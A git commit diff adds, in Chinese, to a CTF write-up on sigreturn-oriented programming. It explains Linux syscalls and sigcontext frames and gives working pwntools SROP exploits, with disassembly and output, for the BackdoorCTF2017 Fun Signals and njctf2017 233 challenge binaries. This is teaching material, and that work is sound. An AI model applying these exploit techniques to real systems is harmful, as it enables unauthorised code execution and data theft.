update 6.4

This commit is contained in:
firmianay 2017-11-21 17:11:08 +08:00
parent 6689193994
commit c2edb62e77
7 changed files with 231 additions and 17 deletions

View File

@ -17,7 +17,7 @@ No RELRO No canary found NX enabled No PIE No RPATH No RU
``` ```
关闭 ASLR然后把程序运行起来 关闭 ASLR然后把程序运行起来
``` ```
$ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme $ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme &
``` ```

View File

@ -2,6 +2,10 @@
- [题目复现](#题目复现) - [题目复现](#题目复现)
- [SROP 原理及题目解析](#srop-原理及题目解析) - [SROP 原理及题目解析](#srop-原理及题目解析)
- [Linux 系统调用](#Linux 系统调用)
- [signal 机制](#signal-机制)
- [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals)
- [njctf2017 233](#233)
- [Exploit](#exploit) - [Exploit](#exploit)
- [参考资料](#参考资料) - [参考资料](#参考资料)
@ -17,11 +21,201 @@ Full RELRO No canary found NX enabled PIE enabled No RPATH No RU
``` ```
把程序运行起来: 把程序运行起来:
``` ```
$ socat tcp4-listen:10001,reuseaddr,fork exec:./233 $ socat tcp4-listen:10001,reuseaddr,fork exec:./233 &
``` ```
## SROP 原理及题目解析 ## SROP 原理及题目解析
#### Linux 系统调用
在开始这一切之前,我想先将一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在
`/usr/include/asm/unistd_64.h``/usr/include/asm/unistd_32.h` 中,另外还需要查看 `/usr/include/bits/syscall.h`
一开始 Linux 是通过 `int 0x80` 中断的方式进入系统调用,它会先进行调用者特权级别的检查,然后进行压栈、跳转等操作,这无疑会浪费许多资源。从 Linux 2.6 开始,就出现了新的系统调用指令 `sysenter`/`sysexit`,前者用于从 Ring3 进入 Ring0后者用于从 Ring0 返回 Ring3它没有特权级别检查也没有压栈的操作所以执行速度更快。
#### signal 机制
![](../pic/6.4_signal.png)
sigreturn frame 因架构不同而不同,在 Linux 中也有了新的定义,但目前关于 srop 的利用也都是基于旧的 sigcontext所以这里还是给出旧定义仅当用户空间依然依赖它时才会使用它们
```
# ifdef __i386__
struct sigcontext {
__u16 gs, __gsh;
__u16 fs, __fsh;
__u16 es, __esh;
__u16 ds, __dsh;
__u32 edi;
__u32 esi;
__u32 ebp;
__u32 esp;
__u32 ebx;
__u32 edx;
__u32 ecx;
__u32 eax;
__u32 trapno;
__u32 err;
__u32 eip;
__u16 cs, __csh;
__u32 eflags;
__u32 esp_at_signal;
__u16 ss, __ssh;
struct _fpstate *fpstate;
__u32 oldmask;
__u32 cr2;
};
# else /* __x86_64__: */
struct sigcontext {
__u64 r8;
__u64 r9;
__u64 r10;
__u64 r11;
__u64 r12;
__u64 r13;
__u64 r14;
__u64 r15;
__u64 rdi;
__u64 rsi;
__u64 rbp;
__u64 rbx;
__u64 rdx;
__u64 rax;
__u64 rcx;
__u64 rsp;
__u64 rip;
__u64 eflags; /* RFLAGS */
__u16 cs;
__u16 gs;
__u16 fs;
union {
__u16 ss; /* If UC_SIGCONTEXT_SS */
__u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
};
__u64 err;
__u64 trapno;
__u64 oldmask;
__u64 cr2;
struct _fpstate *fpstate; /* Zero when no FPU context */
# ifdef __ILP32__
__u32 __fpstate_pad;
# endif
__u64 reserved1[8];
};
```
在你使用 `ldd` 命令时,通常也会显示 vDSO如下
```
$ ldd /usr/bin/ls
linux-vdso.so.1 (0x00007ffff7ffa000)
libcap.so.2 => /usr/lib/libcap.so.2 (0x00007ffff79b2000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff75fa000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd8000)
```
32 位程序则会显示 `linux-gate.so.1`,都是一个意思。
#### BackdoorCTF2017 Fun Signals
我们先来看一个简单的例子,一个 64 位静态链接的 srop可以说是什么都没开。。。
```
$ checksec -f funsignals_player_bin
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 0 funsignals_player_bin
```
```
gdb-peda$ disassemble _start
Dump of assembler code for function _start:
0x0000000010000000 <+0>: xor eax,eax
0x0000000010000002 <+2>: xor edi,edi
0x0000000010000004 <+4>: xor edx,edx
0x0000000010000006 <+6>: mov dh,0x4
0x0000000010000008 <+8>: mov rsi,rsp
0x000000001000000b <+11>: syscall
0x000000001000000d <+13>: xor edi,edi
0x000000001000000f <+15>: push 0xf
0x0000000010000011 <+17>: pop rax
0x0000000010000012 <+18>: syscall
0x0000000010000014 <+20>: int3
End of assembler dump.
gdb-peda$ disassemble syscall
Dump of assembler code for function syscall:
0x0000000010000015 <+0>: syscall
0x0000000010000017 <+2>: xor rdi,rdi
0x000000001000001a <+5>: mov rax,0x3c
0x0000000010000021 <+12>: syscall
End of assembler dump.
gdb-peda$ x/s flag
0x10000023 <flag>: "fake_flag_here_as_original_is_at_server"
```
而且 flag 就在二进制文件里,只不过是在服务器上的那个里面,过程是完全一样的。
首先可以看到 `_start` 函数里有两个 syscall。第一个是 `read(0, $rip, 0x400)`(调用号`0x0`),它从标准输入读取 `0x400` 个字节到 `rip` 指向的地址处,也就是栈上。第二个是 `sigreturn()`(调用号`0xf`),它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。
那么怎样读取 flag 呢,需要一个 `write(1, &flag, 50)`,调用号为 `0x1`,而函数 `syscall` 正好为我们提供了 `syscall` 指令,构造 payload 如下:
```python
from pwn import *
elf = ELF('./funsignals_player_bin')
io = process('./funsignals_player_bin')
# io = remote('hack.bckdr.in', 9034)
context.clear()
context.arch = "amd64"
# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = elf.symbols['flag']
frame.rdx = 50
frame.rip = elf.symbols['syscall']
io.send(str(frame))
io.interactive()
```
```
$ python2 exp_funsignals.py
[*] '/home/firmy/Desktop/RE4B/srop/funsignals_player_bin'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000000)
RWX: Has RWX segments
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
```
如果连接的是远程服务器,`fake_flag_here_as_original_is_at_server` 会被替换成真正的 flag。
#### njctf2017 233
这是一个 32 位的程序。
```
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000063b <+0>: push ebp
0x0000063c <+1>: mov ebp,esp
0x0000063e <+3>: push ebx
0x0000063f <+4>: and esp,0xfffffff0
0x00000642 <+7>: sub esp,0x20
0x00000645 <+10>: call 0x510 <__x86.get_pc_thunk.bx>
0x0000064a <+15>: add ebx,0x197e
0x00000650 <+21>: mov DWORD PTR [esp+0x8],0x400
0x00000658 <+29>: lea eax,[esp+0x16]
0x0000065c <+33>: mov DWORD PTR [esp+0x4],eax
0x00000660 <+37>: mov DWORD PTR [esp],0x0
0x00000667 <+44>: call 0x480 <read@plt>
0x0000066c <+49>: lea eax,[esp+0x16]
0x00000670 <+53>: mov DWORD PTR [esp],eax
0x00000673 <+56>: call 0x4c0 <atoi@plt>
0x00000678 <+61>: mov ebx,DWORD PTR [ebp-0x4]
0x0000067b <+64>: leave
0x0000067c <+65>: ret
End of assembler dump.
```
这个程序看起来很简单,就是使用 read 函数读取 `0x400` 个字节到 `[esp+0x16]` 的地方,然后将其传给 atoi。很明显的栈溢出
```
gdb-peda$ pattern_offset 0x41284141
1093157185 found at offset: 22
```
## Exploit ## Exploit
完整的 exp 如下,其他文件放在了[github](../src/writeup/6.4_pwn_njctf2017_233)相应文件夹中: 完整的 exp 如下,其他文件放在了[github](../src/writeup/6.4_pwn_njctf2017_233)相应文件夹中:
@ -31,3 +225,4 @@ $ socat tcp4-listen:10001,reuseaddr,fork exec:./233
- [Framing Signals—A Return to Portable Shellcode](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf) - [Framing Signals—A Return to Portable Shellcode](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf)
- [slides: Framing Signals a return to portable shellcode](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf) - [slides: Framing Signals a return to portable shellcode](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf)
- [Sigreturn Oriented Programming](https://www.slideshare.net/AngelBoy1/sigreturn-ori) - [Sigreturn Oriented Programming](https://www.slideshare.net/AngelBoy1/sigreturn-ori)
- [Sigreturn Oriented Programming is a real Threat](https://subs.emis.de/LNI/Proceedings/Proceedings259/2077.pdf)

BIN
pic/6.4_signal.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

View File

@ -0,0 +1,19 @@
from pwn import *
elf = ELF('./funsignals_player_bin')
io = process('./funsignals_player_bin')
# io = remote('hack.bckdr.in', 9034)
context.clear()
context.arch = "amd64"
# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = elf.symbols['flag']
frame.rdx = 50
frame.rip = elf.symbols['syscall']
io.send(str(frame))
io.interactive()

Binary file not shown.

View File

@ -1 +1 @@
socat tcp4-listen:10001,reuseaddr,fork exec:./233 socat tcp4-listen:10001,reuseaddr,fork exec:./233 &